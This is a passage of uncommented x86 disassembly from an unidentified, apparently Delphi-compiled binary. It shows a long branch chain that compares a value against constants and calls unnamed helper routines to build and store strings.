mov eax, dword [ebp - 0xe18]
lea edx, [ebp - 0xe14]
call fcn.0058ff30
mov edx, dword [ebp - 0xe14]
mov eax, dword [ebp - 0x53c]
call fcn.00430e98
mov eax, dword [ebp - 0x53c]
call fcn.00430994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59a662
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59a687
call fcn.005924cc
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae088
call fcn.00405ec0
jne 0x59a795
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xe20]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe20]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x59a71a
lea edx, [ebp - 0xe24]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0xe24]
push eax
lea eax, [ebp - 0xe28]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xe28]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0xe34]
push eax
lea ecx, [ebp - 0xe38]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe38]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xe34]
lea edx, [ebp - 0xe30]
call fcn.0058ff30
mov eax, dword [ebp - 0xe30]
call fcn.00405f28
push eax
call fcn.005406f4
cmp eax, 5
sete al
lea edx, [ebp - 0xe2c]
call fcn.00593690
mov edx, dword [ebp - 0xe2c]
mov ecx, 0x5ae0a8
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae0c8
call fcn.00405ec0
jne 0x59ab92
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xe3c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xe3c]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xe40]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xe40]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xe44]
push eax
lea ecx, [ebp - 0xe48]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe48]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xe44]
mov eax, 0x5ae0e0
call fcn.0041038c
test eax, eax
je 0x59a955
lea eax, [ebp - 0xe4c]
push eax
lea ecx, [ebp - 0xe50]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe50]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xe4c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xe54]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe54]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xe58]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe58]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xe5c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe5c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xe60]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe60]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xe64]
push eax
lea ecx, [ebp - 0xe68]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe68]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xe64]
mov eax, 0x5ae0e0
call fcn.0041038c
test eax, eax
je 0x59aa71
lea eax, [ebp - 0xe6c]
push eax
lea ecx, [ebp - 0xe70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe70]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xe6c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xe74]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe74]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0xe78]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe78]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0xe7c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe7c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xe80]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe80]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xe84]
push eax
lea ecx, [ebp - 0xe88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe88]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xe84]
mov eax, 0x5ae0e0
call fcn.0041038c
test eax, eax
je 0x5acf48
lea eax, [ebp - 0xe8c]
push eax
lea ecx, [ebp - 0xe90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe90]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xe8c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xe94]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe94]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0xe98]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe98]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0xe9c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe9c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xea0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xea0]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae11c
call fcn.00405ec0
jne 0x59b142
lea eax, [ebp - 0xea4]
push eax
lea ecx, [ebp - 0xea8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xea8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xea4]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xeac]
push eax
lea ecx, [ebp - 0xeb0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xeb0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xeac]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59ad1b
push 0
lea eax, [ebp - 0xeb8]
push eax
lea eax, [ebp - 0xebc]
push eax
lea ecx, [ebp - 0xec0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xec0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xebc]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0xeb8]
lea edx, [ebp - 0xeb4]
call fcn.005939c8
mov edx, dword [ebp - 0xeb4]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xec8]
push eax
lea eax, [ebp - 0xecc]
push eax
lea ecx, [ebp - 0xed0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xed0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xecc]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0xec8]
lea edx, [ebp - 0xec4]
call fcn.005939c8
mov edx, dword [ebp - 0xec4]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xed4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xed4]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xed8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xed8]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea edx, [ebp - 0xedc]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0xedc]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xee0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xee0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xee4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xee4]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xee8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0xee8]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xeec]
push eax
lea ecx, [ebp - 0xef0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xef0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xeec]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xef4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xef4]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0xef8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xef8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0xefc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xefc]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf00]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf00]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0xf04]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xf04]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0xf08]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf08]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0xf0c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf0c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf10]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xf10]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xf14]
push eax
lea ecx, [ebp - 0xf18]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf18]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xf14]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xf1c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf1c]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0xf20]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf20]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0xf24]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf24]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf28]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf28]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xf2c]
push eax
lea ecx, [ebp - 0xf30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf30]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xf2c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xf34]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf34]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae144
lea eax, [ebp - 0xf38]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf38]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae144
lea eax, [ebp - 0xf3c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf3c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf40]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf40]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae150
call fcn.00405ec0
jne 0x59b3c0
lea eax, [ebp - 0xf44]
push eax
lea ecx, [ebp - 0xf48]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf48]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xf44]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xf4c]
push eax
lea ecx, [ebp - 0xf50]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf50]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xf4c]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59b2cb
push 0
lea eax, [ebp - 0xf58]
push eax
lea eax, [ebp - 0xf5c]
push eax
lea ecx, [ebp - 0xf60]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf60]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xf5c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0xf58]
lea edx, [ebp - 0xf54]
call fcn.005939c8
mov edx, dword [ebp - 0xf54]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xf68]
push eax
lea eax, [ebp - 0xf6c]
push eax
lea ecx, [ebp - 0xf70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf70]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xf6c]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0xf68]
lea edx, [ebp - 0xf64]
call fcn.005939c8
mov edx, dword [ebp - 0xf64]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
lea eax, [ebp - 0xf74]
push eax
lea ecx, [ebp - 0xf78]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf78]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xf74]
mov eax, dword [0x5dbda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d0]
mov eax, dword [0x5dbda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d4]
mov eax, dword [0x5dbda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xf7c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xf7c]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xf80]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xf80]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae170
call fcn.00405ec0
jne 0x59b493
mov dword [ebp - 0x54c], 1
lea eax, [ebp - 0xf88]
push eax
lea ecx, [ebp - 0xf8c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf8c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xf88]
lea edx, [ebp - 0xf84]
call fcn.0058ff30
mov eax, dword [ebp - 0xf84]
push eax
lea eax, [ebp - 0xf94]
push eax
lea ecx, [ebp - 0xf98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf98]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xf94]
lea edx, [ebp - 0xf90]
call fcn.0058ff30
mov eax, dword [ebp - 0xf90]
mov cl, 1
pop edx
call fcn.0058f3f4
inc dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0xb
jne 0x59b3e0
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae18c
call fcn.00405ec0
jne 0x59b60e
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xf9c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xf9c]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xfa0]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xfa0]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xfa4]
push eax
lea ecx, [ebp - 0xfa8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfa8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xfa4]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xfac]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xfac]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xfb0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xfb0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xfb4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xfb4]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xfb8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xfb8]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae1a4
call fcn.00405ec0
je 0x59b636
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae1bc
call fcn.00405ec0
jne 0x59bc22
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xfc0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfc0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xfbc]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xfc4]
push eax
lea ecx, [ebp - 0xfc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfc8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xfc4]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59b7a9
push 0
lea eax, [ebp - 0xfd0]
push eax
lea eax, [ebp - 0xfd4]
push eax
lea ecx, [ebp - 0xfd8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfd8]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xfd4]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0xfd0]
lea edx, [ebp - 0xfcc]
call fcn.005939c8
mov edx, dword [ebp - 0xfcc]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xfe0]
push eax
lea eax, [ebp - 0xfe4]
push eax
lea ecx, [ebp - 0xfe8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfe8]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xfe4]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0xfe0]
lea edx, [ebp - 0xfdc]
call fcn.005939c8
mov edx, dword [ebp - 0xfdc]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
lea eax, [ebp - 0xff0]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.00405f90
mov eax, dword [ebp - 0xff0]
lea edx, [ebp - 0xfec]
call fcn.0040ac80
push dword [ebp - 0xfec]
push 0x5ae1d8
push dword [ebp - 0x3d0]
lea eax, [ebp - 0x3d0]
mov edx, 3
call fcn.00405e2c
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0xff4]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0xff4]
mov eax, dword [0x5dbda0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d0]
mov eax, dword [0x5dbda0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d4]
mov eax, dword [0x5dbda0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xff8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xff8]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xffc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0xffc]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1000]
push eax
lea ecx, [ebp - 0x1004]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1004]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1000]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1008]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1008]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x100c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x100c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1010]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1010]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1014]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1014]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x101c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x101c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1018]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1020]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1020]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x1024]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1024]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
